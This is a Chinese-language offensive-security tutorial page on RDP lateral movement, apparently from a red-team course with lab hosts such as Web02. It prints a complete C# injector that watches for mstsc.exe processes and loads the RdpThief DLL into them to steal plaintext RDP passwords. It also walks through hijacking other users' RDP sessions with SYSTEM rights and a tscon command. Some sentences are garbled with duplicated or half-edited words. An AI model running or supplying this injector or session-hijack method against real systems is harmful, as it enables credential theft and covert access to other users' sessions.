Skip to main content

RDP

在 Windows 系统中,远程桌面能提供 GUI 的远程访问,在企业环境里使用极多,对于攻击者而言也是一种天然的横向移动的方式。如果我们已经拥有了受害用户的明文密码,并且受害用户是其他主机的本地管理员或者是 Remote Desktop Users 组成员,那么我们便可使用 mstsc.exe,exe即 RDP 客户端远程访问。在 Linux 平台,我们可以使用工具 xfreerdp 或者 rdesktop。rdesktop

RDP 远程登陆是典型的交互式认证情景,交互式登陆需要明文密码,那也意味着,如果受害用户使用 RDP 登录到已经被入侵的主机上,凭证会留在被入侵的主机的内存之中,并且即便断开连接也不会让凭证消失。进而攻击者可以通过 Mimikatz 之类的工具导出凭证。我们甚至可以利用 BoF RdpThief (https://github.com/0x09AL/RdpThief) 以及 Win32 编程实现窃取明文密码,代码如下:

原理是检测
using System;
using System.Diagnostics;
using System.Net;
using System.Runtime.InteropServices;
using System.Text;
namespace Inject
{
    class Program
    {
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
        static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32.dll", CharSet = CharSet.Auto)]
        public static extern IntPtr GetModuleHandle(string lpModuleName);
static void Main(string[] args)
{
    String dllName = "C:\\windows\\tasks\\RdpThief.dll"; //Download from https://github.com/0x09AL/RdpThief
    while(true)
    {
      Process[] mstscProc = Process.GetProcessesByName("mstsc");
      if(mstscProc.Length > 0)
      {
        for(int i = 0; i < mstscProc.Length; i++)
        {
          int pid = mstscProc[i].Id;
          IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);
          IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
          IntPtr outSize;
          Boolean res = WriteProcessMemory(hProcess, addr, Encoding.Default.GetBytes(dllName), dllName.Length, out outSize);
          IntPtr loadLib = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
          IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLib, addr, 0, IntPtr.Zero);
        }
      }                   
      Thread.Sleep(1000);
    }
  }
}
}

该代码寻找所有的 RDPmstsc.exe 进程载入 RdpThief 动态链接库文件。RdpThief 通过 API Hooking 实现了当 RDP 消息框弹出式,窃取来劫持明文凭证的输入的账号密码

此外,我们在之前章节提到过受限管理员模式可以解决凭证窃取的问题,但也可以让攻击者在不知道当前被攻陷的用户的明文密码的情况下访问该实现 RDP 横向移动。

以及,我们来讨论一下 RDP 劫持。在 Web02 上,我们是以 serveradm 用户的身份交互式完成交互式登陆的,在任意一主机上以本地管理员帐号 administrator : Passw0rdweb02 RDP 访问 Web02,这样,Web02 上就同时有着至少这 2 个交互式登陆了。我们可以通过任务管理器确认这一点。

image.png

我们可以切换至另一个用户,但需要提供密码。

image.png

image.png

输入正确密码后,我们当前的会话会从 serveradm 切换至 Administrator 了。那么,我们怎么样可以不需要密码就能切换至另一个用户呢?我们需要提升至 SYSTEM 权限,可以通过 PsExec 或者 PowerRunAsSystem (GitHub - DarkCoderSc/PowerRunAsSystem: Run application as system with interactive system process support (active Windows session)) 实现。

image.png

然后执行如下命令:

cmd /k tscon <想要切换至的 ID> /dest:console

image.png

很快,我们就又切换回去了,并不需要输入密码。那么,这有什么作用呢?当我们拿到了一台主机的最高权限,如果这时候还有其他用户正在通过 RDP 连接该主机,我们可以劫持他们的 RDP 会话,以推测他们当前进行的操作。不过这么做,多多少少会有些不隐蔽,但其他用户可能只是以为网络波动、其他人恰好也在连接